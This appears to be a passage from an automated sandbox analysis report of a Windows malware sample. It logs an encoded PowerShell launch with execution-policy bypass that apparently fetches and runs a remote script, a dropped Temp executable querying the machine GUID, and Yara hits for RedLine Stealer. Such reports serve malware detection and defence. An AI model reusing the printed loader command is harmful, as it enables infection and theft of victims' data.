Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k powershell /ep bypass /e jabiad0akaboaguadwatag8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acabzaccakwanaguazqauagkabwavadcabqanacsajwayahkaaab4accakqa7agkazqbyacaajabiadsa /w 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /ep bypass /e jabiad0akaboaguadwatag8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acabzaccakwanaguazqauagkabwavadcabqanacsajwayahkaaab4accakqa7agkazqbyacaajabiadsa /w 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /ep bypass /e jabiad0akaboaguadwatag8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acabzaccakwanaguazqauagkabwavadcabqanacsajwayahkaaab4accakqa7agkazqbyacaajabiadsa /w 1	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

Code function: 10_0_00007FF67E611868 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

10_0_00007FF67E611868

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 13.2.Aceline.exe.26b45750000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.26b3d1b9ac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.7ff421c4128d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Aceline.exe.26b3d1b9ac0.1.unpack, type: UNPACKEDPE
